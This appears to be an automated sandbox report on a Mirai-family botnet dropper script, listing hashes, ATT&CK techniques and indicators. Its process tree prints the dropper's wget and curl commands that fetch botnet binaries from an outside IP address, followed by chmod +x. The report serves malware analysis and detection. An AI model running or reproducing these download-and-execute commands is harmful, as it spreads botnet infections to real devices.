mirai | f3e6052d4142e5a195e03e65d4a8acd2b7d6e790b6aacbc690ae909e7edb01f6

Analysis

max time kernel
149s
max time network
150s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240508-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
09-02-2025 16:21

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General

Target

ohshit.sh
Size

2KB
MD5

f0977aee35c9bf421f707b9bfba5d9f7
SHA1

5eacb3c68403f8f9c853f41914f27d5abc8645f5
SHA256

f3e6052d4142e5a195e03e65d4a8acd2b7d6e790b6aacbc690ae909e7edb01f6
SHA512

3184f088b0188b537c6a9ba0aa037c586d3267f17a11d4e6fbb65745b21dafbf37506e359dae372993fb6e28a06e3749b0b5a382901ac805cce83988772f53d9

Score

10^/10

mirai lzrd botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1514	chmod
1522	chmod

Executes dropped EXE 2 IoCs

ioc	pid	Process
/tmp/WTF	1515	ohshit.sh
/tmp/WTF	1523	ohshit.sh

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	ohshit.sh
File opened for modification	/dev/misc/watchdog	ohshit.sh

Enumerates running processes
Discovers information about currently running processes on the system

Writes file to system bin folder 2 IoCs

description	ioc	Process
File opened for modification	/sbin/watchdog	ohshit.sh
File opened for modification	/bin/watchdog	ohshit.sh

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/fstream-1.dat	upx

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/599/cmdline	ohshit.sh
File opened for reading	/proc/1078/cmdline	ohshit.sh
File opened for reading	/proc/1316/cmdline	ohshit.sh
File opened for reading	/proc/1516/cmdline	ohshit.sh
File opened for reading	/proc/1610/cmdline	ohshit.sh
File opened for reading	/proc/513/cmdline	ohshit.sh
File opened for reading	/proc/984/cmdline	ohshit.sh
File opened for reading	/proc/1536/cmdline	ohshit.sh
File opened for reading	/proc/641/cmdline	ohshit.sh
File opened for reading	/proc/1295/cmdline	ohshit.sh
File opened for reading	/proc/1505/cmdline	ohshit.sh
File opened for reading	/proc/484/cmdline	ohshit.sh
File opened for reading	/proc/1225/cmdline	ohshit.sh
File opened for reading	/proc/1253/cmdline	ohshit.sh
File opened for reading	/proc/1562/cmdline	ohshit.sh
File opened for reading	/proc/1082/cmdline	ohshit.sh
File opened for reading	/proc/1145/cmdline	ohshit.sh
File opened for reading	/proc/1254/cmdline	ohshit.sh
File opened for reading	/proc/1021/cmdline	ohshit.sh
File opened for reading	/proc/1119/cmdline	ohshit.sh
File opened for reading	/proc/1477/cmdline	ohshit.sh
File opened for reading	/proc/1016/cmdline	ohshit.sh
File opened for reading	/proc/1180/cmdline	ohshit.sh
File opened for reading	/proc/1550/cmdline	ohshit.sh
File opened for reading	/proc/686/cmdline	ohshit.sh
File opened for reading	/proc/1035/cmdline	ohshit.sh
File opened for reading	/proc/1224/cmdline	ohshit.sh
File opened for reading	/proc/1502/cmdline	ohshit.sh
File opened for reading	/proc/473/cmdline	ohshit.sh
File opened for reading	/proc/656/cmdline	ohshit.sh
File opened for reading	/proc/662/cmdline	ohshit.sh
File opened for reading	/proc/1556/cmdline	ohshit.sh
File opened for reading	/proc/1574/cmdline	ohshit.sh
File opened for reading	/proc/1190/cmdline	ohshit.sh
File opened for reading	/proc/1526/cmdline	ohshit.sh
File opened for reading	/proc/415/cmdline	ohshit.sh
File opened for reading	/proc/1162/cmdline	ohshit.sh
File opened for reading	/proc/1592/cmdline	ohshit.sh
File opened for reading	/proc/459/cmdline	ohshit.sh
File opened for reading	/proc/514/cmdline	ohshit.sh
File opened for reading	/proc/768/cmdline	ohshit.sh
File opened for reading	/proc/1064/cmdline	ohshit.sh
File opened for reading	/proc/1142/cmdline	ohshit.sh
File opened for reading	/proc/1144/cmdline	ohshit.sh
File opened for reading	/proc/1524/cmdline	ohshit.sh
File opened for reading	/proc/1101/cmdline	ohshit.sh
File opened for reading	/proc/1158/cmdline	ohshit.sh
File opened for reading	/proc/1268/cmdline	ohshit.sh
File opened for reading	/proc/1304/cmdline	ohshit.sh
File opened for reading	/proc/1568/cmdline	ohshit.sh
File opened for reading	/proc/989/cmdline	ohshit.sh
File opened for reading	/proc/1507/cmdline	ohshit.sh
File opened for reading	/proc/1580/cmdline	ohshit.sh
File opened for reading	/proc/428/cmdline	ohshit.sh
File opened for reading	/proc/598/cmdline	ohshit.sh
File opened for reading	/proc/1002/cmdline	ohshit.sh
File opened for reading	/proc/1068/cmdline	ohshit.sh
File opened for reading	/proc/437/cmdline	ohshit.sh
File opened for reading	/proc/472/cmdline	ohshit.sh
File opened for reading	/proc/526/cmdline	ohshit.sh
File opened for reading	/proc/570/cmdline	ohshit.sh
File opened for reading	/proc/927/cmdline	ohshit.sh
File opened for reading	/proc/1041/cmdline	ohshit.sh
File opened for reading	/proc/1058/cmdline	ohshit.sh

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1519	wget
1520	curl

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/boatnet.arc	wget
File opened for modification	/tmp/boatnet.x86	wget
File opened for modification	/tmp/boatnet.x86	curl
File opened for modification	/tmp/WTF	ohshit.sh
File opened for modification	/tmp/boatnet.mips	wget
File opened for modification	/tmp/boatnet.mips	curl

/tmp/ohshit.sh
/tmp/ohshit.sh
1⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
- Writes file to tmp directory
PID:1507
- /usr/bin/wget
  wget http://194.85.251.9/hiddenbin/boatnet.x86
  2⤵
  - Writes file to tmp directory
  PID:1508
- /usr/bin/curl
  curl -O http://194.85.251.9/hiddenbin/boatnet.x86
  2⤵
  - Writes file to tmp directory
  PID:1512
- /bin/cat
  cat boatnet.x86
  2⤵
  PID:1513
- /bin/chmod
  chmod +x boatnet.x86 config-err-gSYeSF netplan_escgt653 ohshit.sh snap-private-tmp ssh-DGjiLaK51db6 systemd-private-7d704eabf2e542bc8051481b6b431471-bolt.service-e6jDAF systemd-private-7d704eabf2e542bc8051481b6b431471-colord.service-KeVe2N systemd-private-7d704eabf2e542bc8051481b6b431471-ModemManager.service-AQvz0Z systemd-private-7d704eabf2e542bc8051481b6b431471-systemd-resolved.service-Km8n5c systemd-private-7d704eabf2e542bc8051481b6b431471-systemd-timedated.service-mHH1Rm WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1514
- /usr/bin/wget
  wget http://194.85.251.9/hiddenbin/boatnet.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1519
- /usr/bin/curl
  curl -O http://194.85.251.9/hiddenbin/boatnet.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1520
- /bin/chmod
  chmod +x boatnet.mips boatnet.x86 config-err-gSYeSF netplan_escgt653 ohshit.sh snap-private-tmp ssh-DGjiLaK51db6 systemd-private-7d704eabf2e542bc8051481b6b431471-bolt.service-e6jDAF systemd-private-7d704eabf2e542bc8051481b6b431471-colord.service-KeVe2N systemd-private-7d704eabf2e542bc8051481b6b431471-ModemManager.service-AQvz0Z systemd-private-7d704eabf2e542bc8051481b6b431471-systemd-resolved.service-Km8n5c systemd-private-7d704eabf2e542bc8051481b6b431471-systemd-timedated.service-mHH1Rm WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1522
- /usr/bin/wget
  wget http://194.85.251.9/hiddenbin/boatnet.arc
  2⤵
  - Writes file to tmp directory
  PID:1527

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/boatnet.x86

Filesize
29KB

MD5
8231c76be6663e62d7d5a8ea685ff498

SHA1
03177493e6a6d9e3b7aaca572245065ffcfe0575

SHA256
c45cbd5ce92e34f62bd3e1e19c36daf662860aac2a22a5d67924788acc71e3bc

SHA512
1a8eb5eaf84d38252f4535a2a89aca76fadf7854d218c6bca7ec2521ee485d9bd082e3eeff4ec981abaf0e18afc0eed7415ae656d3080b152fb7b35370caa9ac

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